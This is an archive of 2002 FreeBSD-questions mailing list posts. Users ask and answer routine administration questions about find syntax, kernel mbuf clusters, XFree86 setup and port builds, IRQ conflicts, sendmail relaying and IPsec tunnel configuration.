> +n syntax does work.  I failed to pay attention to my CWD.  However, I
> am concerned that I had to dig out my reference book for the correct
> syntax.  It should have been in the manpage.
>
> C Peter Biessener wrote:
> > Hello All, I want to do a simple find command to find all files older than X days.
> > # find . -type f -mtime +14 -print
> > Normally, I would expect the command above to find files modified more than 14 days ago.  The syntax is straight out of "UNIX in a Nutshell" by O'Reilly & Associates.  However, it does not work in FreeBSD.
> > I did look at the manpage for find on our FreeBSD 4.1.  The -mtime +n syntax is not documented.  How could such an essential feature not be implemented in FreeBSD?
> >
> > Thanks,
> > Peter Biessener

The manpage (`man 1 find`) for 4.6's find has the mtime flag documented:
     -mtime n
             True if the difference between the file last modification time
             and the time find was started, rounded up to the next full
             24-hour period, is n 24-hour periods.

FreeBSD 4.6                       May 3, 2001                      FreeBSD 4.6
# man -w find
/usr/share/man/cat1/find.1.gz (source: /usr/share/man/man1/find.1.gz)

You can always read manpages online as well at www.freebsd.org

HOWEVER, this does remind me of my usual frustration with manpages not
being more descriptive, for example, about the author, date, version, etc.

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Mon Jul 29 10:58: 6 2002
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Date: Mon, 29 Jul 2002 13:58:02 -0400 (EDT)
From: Peter Leftwich <Hostmaster@Video2Video.Com>
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Subject: pkg_add -r instantworkstation
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{Just kidding, I realize that's probably not the right command.}

But to address a recent followup about such a package pleasing only a tiny
minority... why not create a simple /bin/sh shell script that is highly
interactive (possibly to the point of overdoing it)?

It could begin by offering the user to set certain environment variables to
"X"? [y/n]  Then it would proceed to prompt for each pkg_add command line
to run, and if the user did not want a certain package, they'd hit 'n.'

PS: Now that got me thinking about a simple shell script to give newbies an
interactive taste of how to cvsup (cvs?), and tour of features! :)

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Mon Jul 29 11:15:58 2002
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Date: Mon, 29 Jul 2002 13:15:53 -0500
To: freebsd-questions@FreeBSD.ORG
From: "Jack L. Stone" <jackstone@sage-one.net>
Subject: Re: Kernel error: m_clalloc failed..???
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At 12:26 PM 7.29.2002 -0500, Jack L. Stone wrote:
>sageame@sagec$ uname -a
>FreeBSD sagec.sage-one.net 4.5-RELEASE-p8 FreeBSD 4.5-RELEASE-p8 #0: Mon
>Jul 15 19:49:09 CDT 2002
>sageame@sagec.sage-one.net:/usr/obj/usr/src/sys/SAGECKERNEL  i386
>
>I was doing a dump from a server over NFS to a backup HD on the above
>server, and suddenly were getting this error message repeatedly scrolling
>across the screen:
>============================================================================
>========
>Jul 29 12:10:05 sagec /kernel: m_clalloc failed, consider increase
>NMBCLUSTERS value
>etc,
>etc,
>etc,
>70+ times and aborted the "dump". Error stopped.
>============================================================================
>========
>
>On two other server dumps earlier, the error did not occur, so dunno if it
>was the "dump" or something else, but the error stopped when I aborted the
>dump over the NFS. I thought I saw this issue mentioned on this list a
>couple of months back, but cannot find it.
>
>What do I need to do to fix/stop the error....?
>
Never mind.... I found it in LINT.... under "options NMBCLUSTERS=1024"

Thanks for the bandwidth!

Best regards,
Jack L. Stone,
Administrator

SageOne Net
http://www.sage-one.net
jackstone@sage-one.net

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From owner-freebsd-questions  Mon Jul 29 11:27:43 2002
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From: Jeff Jirsa <jeff@boris.st.hmc.edu>
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On Mon, 29 Jul 2002, Peter Leftwich wrote:

>
> PS: Now that got me thinking about a simple shell script to give newbies an
> interactive taste of how to cvsup (cvs?), and tour of features! :)
>

I think that might be the motivation behind the net/cvsupit port.

# cat /usr/ports/net/cvsupit/pkg-descr
This package installs the cvsup utility on your system and assists you in
configuring it to track one or more of the FreeBSD source collections on
your machine.

It doesn't quite help with all of the other packages, but it'll take care
of cvsup.

- Jeff Jirsa


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From owner-freebsd-questions  Mon Jul 29 11:38:34 2002
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For some "treason" the file /usr/X11R6/lib/X11/doc/Monitors is missing from
my FreeBSD 4.6 install of XFree86.  Is this document available in full
online someplace?  Unfortunately, running startx decided to go back to its
old problem(s) of the screen just going blank that black and crackly :( :(

Once again, I am X-less

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Mon Jul 29 11:47:36 2002
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	Mon, 29 Jul 2002 14:47:16 -0400 (EDT)
Date: Mon, 29 Jul 2002 14:47:16 -0400
From: Jeremy Faulkner <gldisater@gldis.ca>
To: Zeke gomez <zgomez@cox.net>
Cc: questions@freebsd.org
Subject: Re: Can you help us run a DALnet IRC Server?
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On Mon, Jul 29, 2002 at 10:20:22AM -0700, Zeke gomez wrote:
> Dear Sir or Madam,
> We would like you to help sponser us and run an IRC Server for linking to
> the DALnet IRC Network, if you can provide us with what we need, please
> reply
> heres what we need:
> 
> A machine with a MINIMUM of a Pentium III 500mhz with 256MB RAM.
> The machine should have a MINIMUM 1GB hard drive.

The FreeBSD Project is not an Internet Service Provider.

> 
> We would prefer a machine that runs FreeBSD as the OS.

Good for you, look for an ISP that uses FreeBSD.

> The server must be on a network that is multihomed, which means either:
> 
>     - it is located on a network with connectivity to the Internet (minimum
>       of 45Mbit/s) to two or more uplink providers; OR
> 
>     - it is located in a datacenter of a network operator with multiple
>       links (as defined above) to that network operator's backbone
> 
> 
>     The connectivity should be a minimum of a DS3/T3 (45Mbit/s)
>     to more than one uplink/transit provider, or two such links to the same
>     uplink/transit provider.
> ==========================================================
> 
> This is basically all we need at this time. Please reply!

Try www.shellsearch.com to look for some possible service providers.

-- 
Jeremy Faulkner			http://www.gldis.ca

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From owner-freebsd-questions  Mon Jul 29 11:57:16 2002
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  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--0-563055933-1027969008=:47863
Content-Type: TEXT/PLAIN; charset=US-ASCII

Well I rebooted, unplugged the S-VIDEO-OUT from my ATI All in Wonder, and
renamed a backup file from XF86Confignewworking to just /etc/XF86Config

I think the reboot fixed it somehow for some reason because I am once again
X-full but I am attaching my /var/log/XFree86.0.log file in *.tgz format
because it seems the only setting (the default one) that fits my screen is
8bpp (256 colors) but at 1792x1344 pixels!  Agh.  I want 24bppx800x600 :(

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555

---------- Forwarded message ----------
From: Peter Leftwich <Hostmaster@Video2Video.Com>
To: FreeBSD LIST <FreeBSD-Questions@FreeBSD.ORG>
Subject: /usr/X11R6/lib/X11/doc/Monitors missing
Date: Mon, 29 Jul 2002 14:38:31 -0400 (EDT)

For some "treason" the file /usr/X11R6/lib/X11/doc/Monitors is missing from
my FreeBSD 4.6 install of XFree86.  Is this document available in full
online someplace?  Unfortunately, running startx decided to go back to its
old problem(s) of the screen just going blank that black and crackly :( :(

Once again, I am X-less

--0-563055933-1027969008=:47863
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From owner-freebsd-questions  Mon Jul 29 11:57:25 2002
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Subject: Conflicts
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=20
Hi,
=20
 I m encountering problem in my pre-installation steps. There are a
total of 13 conflicts within the devices list. One particular IRQ that
causes 3 of the conflicts is IRQ10. When I checked my Windows system
resource, I discovered that IRQ 10 is used by Creative SB Live! And ACPI
IRQ Holder for PCI IRQ Steering. I have completely no prior knowledge
about IRQ so I m seeking your advice for solutions to this conflict
problem. Will it be safe to remove one of the two devices sharing the
same IRQ? Or should I moved one of them to an IRQ numbered as -1?
 Thank you for your assistance and advices. Your help will greatly pave
the way towards a greater use of Freebsd.
__________________________________________________________________
yeow teck ong
ICQ#: 126865411
Current ICQ status: =20
=20
*  More ways to contact me <http://wwp.icq.com/126865411>=20
i  See more about me:
<http://web.icq.com/whitepages/about_me?Uin=3D126865411>=20
__________________________________________________________________
=20

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<body lang=3DEN-US link=3Dblue vlink=3Dpurple =
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<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Hi,<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><span style=3D'mso-spacerun:yes'>&nbsp;</span>I m =
encountering
problem in my pre-installation steps. There are a total of 13 conflicts =
within
the devices list. One particular IRQ that causes 3 of the conflicts is =
IRQ10.
When I checked my Windows system resource, I discovered that IRQ 10 is =
used by
Creative SB Live! And ACPI IRQ Holder for PCI IRQ Steering. I have =
completely
no prior knowledge about IRQ so I m seeking your advice for solutions to =
this
conflict problem. Will it be safe to remove one of the two devices =
sharing the
same IRQ? Or should I moved one of them to an IRQ numbered as =
-1?<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><span style=3D'mso-spacerun:yes'>&nbsp;</span>Thank =
you for
your assistance and advices. Your help will greatly pave the way towards =
a
greater use of Freebsd.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><b><font size=3D1 color=3D"#448593" =
face=3DGeneva><span
style=3D'font-size:7.5pt;font-family:Geneva;color:#448593;font-weight:bol=
d;
mso-no-proof:yes'>_______________________________________________________=
___________</span></font></b><font
size=3D1 color=3D"#448593" face=3DGeneva><span =
style=3D'font-size:7.5pt;font-family:
Geneva;color:#448593;mso-no-proof:yes'><br>
</span></font><b><font size=3D2 color=3D"#448593" face=3DGeneva><span
style=3D'font-size:10.0pt;font-family:Geneva;color:#448593;font-weight:bo=
ld;
mso-no-proof:yes'>yeow teck ong</span></font></b><font size=3D1 =
color=3D"#448593"
face=3DGeneva><span =
style=3D'font-size:7.5pt;font-family:Geneva;color:#448593;
mso-no-proof:yes'><br>
<b><span =
style=3D'font-weight:bold'>ICQ#:&nbsp;</span></b></span></font><b><font
size=3D1 color=3D"#4051c8" face=3DGeneva><span =
style=3D'font-size:7.5pt;font-family:
Geneva;color:#4051C8;font-weight:bold;mso-no-proof:yes'>126865411</span><=
/font></b><font
size=3D1 color=3D"#448593" face=3DGeneva><span =
style=3D'font-size:7.5pt;font-family:
Geneva;color:#448593;mso-no-proof:yes'><o:p></o:p></span></font></p>

<table class=3DMsoNormalTable border=3D0 cellpadding=3D0 =
style=3D'mso-cellspacing:1.5pt'>
 <tr style=3D'mso-yfti-irow:0;mso-yfti-lastrow:yes'>
  <td valign=3Dtop style=3D'padding:.75pt .75pt .75pt .75pt'>
  <p class=3DMsoNormal><b><font size=3D1 color=3D"#448593" =
face=3DVerdana><span
  =
style=3D'font-size:7.5pt;font-family:Verdana;color:#448593;font-weight:bo=
ld;
  mso-no-proof:yes'>Current ICQ status:</span></font></b><font size=3D1
  color=3D"#448593" face=3DVerdana><span =
style=3D'font-size:7.5pt;font-family:Verdana;
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  style=3D'mso-no-proof:yes'><o:p></o:p></span></p>
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height=3D16
  id=3D"_x0000_i1025" =
src=3D"cid:image001.gif@01C23773.F33070C0"><o:p></o:p></span></font></p>
  </td>
 </tr>
</table>

<p class=3DMsoNormal><b><font size=3D3 color=3D"#448593" =
face=3DWingdings><span
style=3D'font-size:12.0pt;font-family:Wingdings;color:#448593;font-weight=
:bold;
mso-no-proof:yes'>+</span></font></b><font size=3D1 color=3D"#448593" =
face=3DGeneva><span
style=3D'font-size:7.5pt;font-family:Geneva;color:#448593;mso-no-proof:ye=
s'>
&nbsp;<a href=3D"http://wwp.icq.com/126865411"><b><span =
style=3D'font-weight:bold'>More
ways to contact me </span></b></a><br>
</span></font><b><font color=3D"#448593" face=3DWebdings><span =
style=3D'font-family:
Webdings;color:#448593;font-weight:bold;mso-no-proof:yes'>i</span></font>=
</b><font
size=3D1 color=3D"#448593" face=3DGeneva><span =
style=3D'font-size:7.5pt;font-family:
Geneva;color:#448593;mso-no-proof:yes'> &nbsp;<a
href=3D"http://web.icq.com/whitepages/about_me?Uin=3D126865411"><b><span
style=3D'font-weight:bold'>See more about me: </span></b></a><br>
<b><span =
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____________________</span></b></span></font><o:p></o:p></p>

<p class=3DMsoNormal><font size=3D3 face=3D"Times New Roman"><span =
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From owner-freebsd-questions  Mon Jul 29 12: 0:26 2002
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Subject: parsing a bash history
From: karl agee <kdagee@attglobal.net>
To: freebsd-questions <FreeBSD-Questions@FreeBSD.ORG>,
	Tri-Cities Linux User Group <3clug@3clug.org>
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Is there any way to parse a bash command history file (w/o scrolling) to find **that one
command** you did????

--karl




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From owner-freebsd-questions  Mon Jul 29 12: 2: 4 2002
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Date: Mon, 29 Jul 2002 14:01:54 -0500
To: freebsd-questions@FreeBSD.ORG
From: "Jack L. Stone" <jackstone@sage-one.net>
Subject: Re: Kernel error: m_clalloc failed..???
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At 12:26 PM 7.29.2002 -0500, Jack L. Stone wrote:
>sageame@sagec$ uname -a
>FreeBSD sagec.sage-one.net 4.5-RELEASE-p8 FreeBSD 4.5-RELEASE-p8 #0: Mon
>Jul 15 19:49:09 CDT 2002
>sageame@sagec.sage-one.net:/usr/obj/usr/src/sys/SAGECKERNEL  i386
>
>I was doing a dump from a server over NFS to a backup HD on the above
>server, and suddenly were getting this error message repeatedly scrolling
>across the screen:
>============================================================================
>========
>Jul 29 12:10:05 sagec /kernel: m_clalloc failed, consider increase
>NMBCLUSTERS value
>etc,
>etc,
>etc,
>70+ times and aborted the "dump". Error stopped.
>============================================================================
>========
>
>On two other server dumps earlier, the error did not occur, so dunno if it
>was the "dump" or something else, but the error stopped when I aborted the
>dump over the NFS. I thought I saw this issue mentioned on this list a
>couple of months back, but cannot find it.
>
>What do I need to do to fix/stop the error....?
>
A few minutes ago, I answered my own question above that I had found the
answer in LINT, however, since the "value" for this was NOT in my kernel,
I'm wondering why the "auto-sizing" didn't kick in as described by LINT:

LINT:
"Jul 29 12:10:05 sagec /kernel: m_clalloc failed, consider increase
NMBCLUSTERS value
# Set the size of the mbuf KVM reservation, in clusters.  This is scaled
# by approximately 2048 bytes.  The system will auto-size the mbuf area
# if this options is not specified or set to 0.
# 
options         NMBCLUSTERS=1024"

I had no provision at all, but changed it to "=8192" which is a wild guess
only since the "auto-size" wasn't adequate.

Anyone with additional tips.....???

Best regards,
Jack L. Stone,
Administrator

SageOne Net
http://www.sage-one.net
jackstone@sage-one.net

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From owner-freebsd-questions  Mon Jul 29 12: 6:26 2002
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Date: Mon, 29 Jul 2002 21:06:22 +0200
From: Hanspeter Roth <hanspeter_roth@hotmail.com>
To: freebsd-questions@freebsd.org
Subject: Promise Ultra ATA/133 TX2 stable?
Message-ID: <20020729210622.A353@gicco.cablecom.ch>
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Hello,

I bought a Promise Ultra ATA/133 TX2. And obviously there is a
difference between with TX2 and without.
The Ultra ATA/133 TX2 is not listed in supported hardware
http://www.freebsd.org/releases/4.6R/hardware-i386.html
But with 4.5-RELEASE-p6 it seems to work.
Is it's support stable already?

-Hanspeter

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From owner-freebsd-questions  Mon Jul 29 12: 6:40 2002
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Date: Mon, 29 Jul 2002 15:06:41 -0400 (EDT)
Subject: Allowing controlled relay with sendmail.
From: "Mike" <root@unixhideout.com>
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Alrighty. I run free email for my website. I know how to allow just my
domains in /etc/mail/access and stop spammers and open relay and all those
losers. The problem is, i now have a flood of users and i cannot add them
all to the access list. This isnt out of laziness as i could easily have
the existing perl script that adds them automatically to the core os, look
up their domain and add them to the access list. The problem is there ips
change. I need something that says "as long as they provide their existing
and correct user and password, they can use unixhideout to send mail."
Someone posted about this before, but i had other things going on so i
couldnt learn from it. I should have saved it, but i didnt. so in closing,
sorry for remaking the wheel on this thread, and thanks for any help i
recieve. I am off to google.com!


-- 

The unixhideout network
http://www.unixhideout.com


-----------------------------------------
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From owner-freebsd-questions  Mon Jul 29 12: 9:14 2002
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Subject: nttp server name??
Date: Mon, 29 Jul 2002 12:11:36 -0700
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can someone please give me the name of the nttp server i need to use to
access comp.unix.bsd.freebsd.misc  ??
thanks, robert

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From owner-freebsd-questions  Mon Jul 29 12:10:54 2002
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From: "Lee" <lee@unassemble.co.uk>
To: <root@unixhideout.com>, <freebsd-questions@freebsd.org>
References: <2177.192.168.1.10.1027969601.squirrel@email.unixhideout.com>
Subject: Re: Allowing controlled relay with sendmail.
Date: Mon, 29 Jul 2002 20:15:40 +0100
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Forgive me if I am missing the point, but are these users on your own
network.  I am guessing no?

In which case why don't you simply get your users to only receive mail from
your server and send using the outgoing server of their own ISP?

Sorry if I am not understanding your network setup correctly.

Regards

Lee
----- Original Message -----
From: "Mike" <root@unixhideout.com>
To: <freebsd-questions@freebsd.org>
Sent: Monday, July 29, 2002 8:06 PM
Subject: Allowing controlled relay with sendmail.


> Alrighty. I run free email for my website. I know how to allow just my
> domains in /etc/mail/access and stop spammers and open relay and all those
> losers. The problem is, i now have a flood of users and i cannot add them
> all to the access list. This isnt out of laziness as i could easily have
> the existing perl script that adds them automatically to the core os, look
> up their domain and add them to the access list. The problem is there ips
> change. I need something that says "as long as they provide their existing
> and correct user and password, they can use unixhideout to send mail."
> Someone posted about this before, but i had other things going on so i
> couldnt learn from it. I should have saved it, but i didnt. so in closing,
> sorry for remaking the wheel on this thread, and thanks for any help i
> recieve. I am off to google.com!
>
>
> --
>
> The unixhideout network
> http://www.unixhideout.com
>
>
> -----------------------------------------
> Free email that kicks ass from UnixHideout
>    "The UnixHideout network"
> http://www.unixhideout.com/
>
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>
>



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From owner-freebsd-questions  Mon Jul 29 12:31:25 2002
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Date: Mon, 29 Jul 2002 14:31:20 -0500
From: Dan Nelson <dnelson@allantgroup.com>
To: Robert Overbury <roverbury@frontst.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: nttp server name??
Message-ID: <20020729193120.GD51403@dan.emsphone.com>
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In the last episode (Jul 29), Robert Overbury said:
> can someone please give me the name of the nttp server i need to use to
> access comp.unix.bsd.freebsd.misc  ??

nntp, you mean?  All servers should carry it.  If yours doesn't, ask
the admin why.  You can also read it from http://groups.google.com

-- 
	Dan Nelson
	dnelson@allantgroup.com

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From owner-freebsd-questions  Mon Jul 29 12:48:35 2002
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Jeff D. Hamann
Hamann, Donald & Associates, Inc.
PO Box 1421
Corvallis, Oregon USA 97339-1421
Bus. 541-753-7333
Cell. 541-740-5988
jeff_hamann@hamanndonald.com
www.hamanndonald.com



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From owner-freebsd-questions  Mon Jul 29 12:48:46 2002
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From: "Jeff D. Hamann" <jeff_hamann@hamanndonald.com>
To: "FreeBSD-Questions@FreeBSD.ORG" <questions@FreeBSD.ORG>
Cc: <anholt@FreeBSD.ORG>
Subject: broken XFree86-4 port on 4.4?
Date: Thu, 25 Jul 2002 08:33:16 -0700
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I've been tring to up date my XFree86 from 3.3.6 to 4.2.0 on my FreeBSD 4.4
machine so I can install gdal. I've run cvsup to get the latest and greatest
(then run make install from /usr/ports/x11/XFree86-4) and when it gets to a
certain point, I get the following messages when trying to build from the
ports collection,

making Makefiles in specs/XLFD...
making Makefiles in specs/XProtocol...
making Makefiles in specs/Xaw...
making Makefiles in specs/Xext...
"Makefile", line 963: Missing dependency operator
"Makefile", line 964: Missing dependency operator
"Makefile", line 1013: Missing dependency operator
"Makefile", line 1038: Missing dependency operator
"Makefile", line 1039: Missing dependency operator
make: fatal errors encountered -- cannot continue
making Makefiles in specs/Xi...
making Makefiles in specs/Xmu...
making Makefiles in specs/Xserver...
"Makefile", line 761: Missing dependency operator
"Makefile", line 762: Missing dependency operator
make: fatal errors encountered -- cannot continue
making Makefiles in specs/Xt...
making Makefiles in specs/Xv...
making Makefiles in specs/XvMC...
making Makefiles in specs/i18n...
making Makefiles in specs/rstart...
"Makefile", line 659: Missing dependency operator
make: fatal errors encountered -- cannot continue
making Makefiles in specs/xfs...
making Makefiles in specs/xterm...
making Makefiles in specs/xtrans...
making Makefiles in hardcopy...
including in ./misc...
including in ./specs...
including in specs/BDF...
including in specs/CTEXT...
including in specs/FSProtocol...
including in specs/GL...
including in specs/ICCCM...
including in specs/ICE...
including in specs/PM...
rm -f PM_spec.txt
ln -s PM_spec PM_spec.txt
including in specs/Render...
rm -f render-protocol.txt
ln -s protocol render-protocol.txt
including in specs/SM...
including in specs/X11...
including in specs/XDMCP...
including in specs/XIM...
including in specs/XLFD...
including in specs/XProtocol...
including in specs/Xaw...
including in specs/Xext...
"Makefile", line 963: Missing dependency operator
"Makefile", line 964: Missing dependency operator
"Makefile", line 1013: Missing dependency operator
"Makefile", line 1038: Missing dependency operator
"Makefile", line 1039: Missing dependency operator
make: fatal errors encountered -- cannot continue
*** Error code 1
Stop in /usr/ports/x11/XFree86-4-documents/work/xc/doc/specs.
*** Error code 1
Stop in /usr/ports/x11/XFree86-4-documents/work/xc/doc.
*** Error code 1
Stop in /usr/ports/x11/XFree86-4-documents.
*** Error code 1
Stop in /usr/ports/x11/XFree86-4.
stimpy# cat pkg-message

Since I'm not that competent with changing makefiles yet, could somebody
help me out with this? Also, is it a pretty dicey process to upgrade from
XFree86 3.3.6 to 4.2.0? I would love to put FreeBSD on my laptop, but the
last time I tried it the behaviour wasn't all that great with XFree86 3.3.6.

Thanks,
Jeff.


Jeff D. Hamann
Hamann, Donald & Associates, Inc.
PO Box 1421
Corvallis, Oregon USA 97339-1421
Bus. 541-753-7333
Cell. 541-740-5988
jeff_hamann@hamanndonald.com
www.hamanndonald.com


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From owner-freebsd-questions  Mon Jul 29 12:48:44 2002
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From: "Jeff D. Hamann" <jeff_hamann@hamanndonald.com>
To: <freebsd-questions@FreeBSD.ORG>
Subject:  broken XFree86-4 port on 4.4?
Date: Thu, 25 Jul 2002 23:05:45 -0700
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> I've been tring to up date my XFree86 from 3.3.6 to 4.2.0 on my FreeBSD
4.4
> machine so I can install gdal. I've run cvsup to get the latest and
greatest
> (then run make install from /usr/ports/x11/XFree86-4) and when it gets to
a
> certain point, I get the following messages when trying to build from the
> ports collection,
>
> making Makefiles in specs/XLFD...
> making Makefiles in specs/XProtocol...
> making Makefiles in specs/Xaw...
> making Makefiles in specs/Xext...
> "Makefile", line 963: Missing dependency operator
> "Makefile", line 964: Missing dependency operator
> "Makefile", line 1013: Missing dependency operator
> "Makefile", line 1038: Missing dependency operator
> "Makefile", line 1039: Missing dependency operator
> make: fatal errors encountered -- cannot continue
> making Makefiles in specs/Xi...
> making Makefiles in specs/Xmu...
> making Makefiles in specs/Xserver...
> "Makefile", line 761: Missing dependency operator
> "Makefile", line 762: Missing dependency operator
> make: fatal errors encountered -- cannot continue
> making Makefiles in specs/Xt...
> making Makefiles in specs/Xv...
> making Makefiles in specs/XvMC...
> making Makefiles in specs/i18n...
> making Makefiles in specs/rstart...
> "Makefile", line 659: Missing dependency operator
> make: fatal errors encountered -- cannot continue
> making Makefiles in specs/xfs...
> making Makefiles in specs/xterm...
> making Makefiles in specs/xtrans...
> making Makefiles in hardcopy...
> including in ./misc...
> including in ./specs...
> including in specs/BDF...
> including in specs/CTEXT...
> including in specs/FSProtocol...
> including in specs/GL...
> including in specs/ICCCM...
> including in specs/ICE...
> including in specs/PM...
> rm -f PM_spec.txt
> ln -s PM_spec PM_spec.txt
> including in specs/Render...
> rm -f render-protocol.txt
> ln -s protocol render-protocol.txt
> including in specs/SM...
> including in specs/X11...
> including in specs/XDMCP...
> including in specs/XIM...
> including in specs/XLFD...
> including in specs/XProtocol...
> including in specs/Xaw...
> including in specs/Xext...
> "Makefile", line 963: Missing dependency operator
> "Makefile", line 964: Missing dependency operator
> "Makefile", line 1013: Missing dependency operator
> "Makefile", line 1038: Missing dependency operator
> "Makefile", line 1039: Missing dependency operator
> make: fatal errors encountered -- cannot continue
> *** Error code 1
> Stop in /usr/ports/x11/XFree86-4-documents/work/xc/doc/specs.
> *** Error code 1
> Stop in /usr/ports/x11/XFree86-4-documents/work/xc/doc.
> *** Error code 1
> Stop in /usr/ports/x11/XFree86-4-documents.
> *** Error code 1
> Stop in /usr/ports/x11/XFree86-4.
> stimpy# cat pkg-message
>
> Since I'm not that competent with changing makefiles yet, could somebody
> help me out with this? Also, is it a pretty dicey process to upgrade from
> XFree86 3.3.6 to 4.2.0? I would love to put FreeBSD on my laptop, but the
> last time I tried it the behaviour wasn't all that great with XFree86
3.3.6.
>
> Thanks,
> Jeff.
>
>
> Jeff D. Hamann
> Hamann, Donald & Associates, Inc.
> PO Box 1421
> Corvallis, Oregon USA 97339-1421
> Bus. 541-753-7333
> Cell. 541-740-5988
> jeff_hamann@hamanndonald.com
> www.hamanndonald.com
>
>
>
>
>


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From owner-freebsd-questions  Mon Jul 29 12:48:59 2002
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From: "Jeff D. Hamann" <jeff_hamann@hamanndonald.com>
To: <freebsd-questions@FreeBSD.ORG>
Subject: broken XFree86-4 port on 4.4?
Date: Thu, 25 Jul 2002 13:38:35 -0700
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X-Loop: FreeBSD.ORG

I've been tring to up date my XFree86 from 3.3.6 to 4.2.0 on my FreeBSD 4.4
machine so I can install gdal. I've run cvsup to get the latest and greatest
(then run make install from /usr/ports/x11/XFree86-4) and when it gets to a
certain point, I get the following messages when trying to build from the
ports collection,

making Makefiles in specs/XLFD...
making Makefiles in specs/XProtocol...
making Makefiles in specs/Xaw...
making Makefiles in specs/Xext...
"Makefile", line 963: Missing dependency operator
"Makefile", line 964: Missing dependency operator
"Makefile", line 1013: Missing dependency operator
"Makefile", line 1038: Missing dependency operator
"Makefile", line 1039: Missing dependency operator
make: fatal errors encountered -- cannot continue
making Makefiles in specs/Xi...
making Makefiles in specs/Xmu...
making Makefiles in specs/Xserver...
"Makefile", line 761: Missing dependency operator
"Makefile", line 762: Missing dependency operator
make: fatal errors encountered -- cannot continue
making Makefiles in specs/Xt...
making Makefiles in specs/Xv...
making Makefiles in specs/XvMC...
making Makefiles in specs/i18n...
making Makefiles in specs/rstart...
"Makefile", line 659: Missing dependency operator
make: fatal errors encountered -- cannot continue
making Makefiles in specs/xfs...
making Makefiles in specs/xterm...
making Makefiles in specs/xtrans...
making Makefiles in hardcopy...
including in ./misc...
including in ./specs...
including in specs/BDF...
including in specs/CTEXT...
including in specs/FSProtocol...
including in specs/GL...
including in specs/ICCCM...
including in specs/ICE...
including in specs/PM...
rm -f PM_spec.txt
ln -s PM_spec PM_spec.txt
including in specs/Render...
rm -f render-protocol.txt
ln -s protocol render-protocol.txt
including in specs/SM...
including in specs/X11...
including in specs/XDMCP...
including in specs/XIM...
including in specs/XLFD...
including in specs/XProtocol...
including in specs/Xaw...
including in specs/Xext...
"Makefile", line 963: Missing dependency operator
"Makefile", line 964: Missing dependency operator
"Makefile", line 1013: Missing dependency operator
"Makefile", line 1038: Missing dependency operator
"Makefile", line 1039: Missing dependency operator
make: fatal errors encountered -- cannot continue
*** Error code 1
Stop in /usr/ports/x11/XFree86-4-documents/work/xc/doc/specs.
*** Error code 1
Stop in /usr/ports/x11/XFree86-4-documents/work/xc/doc.
*** Error code 1
Stop in /usr/ports/x11/XFree86-4-documents.
*** Error code 1
Stop in /usr/ports/x11/XFree86-4.
stimpy# cat pkg-message

Since I'm not that competent with changing makefiles yet, could somebody
help me out with this? Also, is it a pretty dicey process to upgrade from
XFree86 3.3.6 to 4.2.0? I would love to put FreeBSD on my laptop, but the
last time I tried it the behaviour wasn't all that great with XFree86 3.3.6.

Thanks,
Jeff.


Jeff D. Hamann
Hamann, Donald & Associates, Inc.
PO Box 1421
Corvallis, Oregon USA 97339-1421
Bus. 541-753-7333
Cell. 541-740-5988
jeff_hamann@hamanndonald.com
www.hamanndonald.com





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From owner-freebsd-questions  Mon Jul 29 12:53:42 2002
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From: "Matthew Grooms" <mgrooms@seton.org>
To: <dlavigne6@cogeco.ca>, <freebsd-questions@FreeBSD.org>,
	<freebsd-security@FreeBSD.org>
Subject: Re: vpn1/fw1 NG to ipsec/racoon troubles, help please ... 
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Ok, Im a moron. I was trying to use the gif griver whan I shouldn't
have. As soon as I changed the setkey parameters to a non tunnel device
config it started negotiating. 

ie ..# delete all existing SPD and SAD entries
setkey -FP
setkey -F
setkey -c << EOF

spdadd 10.22.200.0/24 10.20.0.0/16 any -P out ipsec
esp/tunnel/66.90.146.202-65.118.63.252/require;
spdadd 10.22.200.0/24 10.21.0.0/16 any -P out ipsec
esp/tunnel/66.90.146.202-65.118.63.252/require;
spdadd 10.22.200.0/24 10.23.0.0/16 any -P out ipsec
esp/tunnel/66.90.146.202-65.118.63.252/require;

spdadd 10.20.0.0/16 10.22.200.0/24 any -P in  ipsec
esp/tunnel/65.118.63.252-66.90.146.202/require;
spdadd 10.21.0.0/16 10.22.200.0/24 any -P in  ipsec
esp/tunnel/65.118.63.252-66.90.146.202/require;
spdadd 10.23.0.0/16 10.22.200.0/24 any -P in  ipsec
esp/tunnel/65.118.63.252-66.90.146.202/require;

EOF

When the connection is initiated from the bsd side, traffic passes
through the vpn1 box, enencrypted and routed to the remote host without
a problem. Unfotunately, the response from the remote host gets caught
up on the return trip. I am guessing this is because the bsd and vpn1
box agree on an outbound ( from the bsd boxs perspective ) proposal but
cannot agree on an inbound proposal. The checkpoint error logs say
'encryption failure : no response from peer'. However, here is some
tcpdump output that shows bi-directional communications. Im not sure how
to interperate this. Any ideas anyone?

tcpdump: listening on eth0
14:36:16.766265 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 1 I agg: [|sa] (DF)
14:36:17.266091 66.90.146.202.isakmp > 65.118.63.252.isakmp: isakmp:
phase 1 R agg: [|sa]
14:36:17.284486 65.118.63.252.isakmp > 66.90.146.202.isakmp: isakmp:
phase 1 I agg:
    (hash: len=16) (DF)
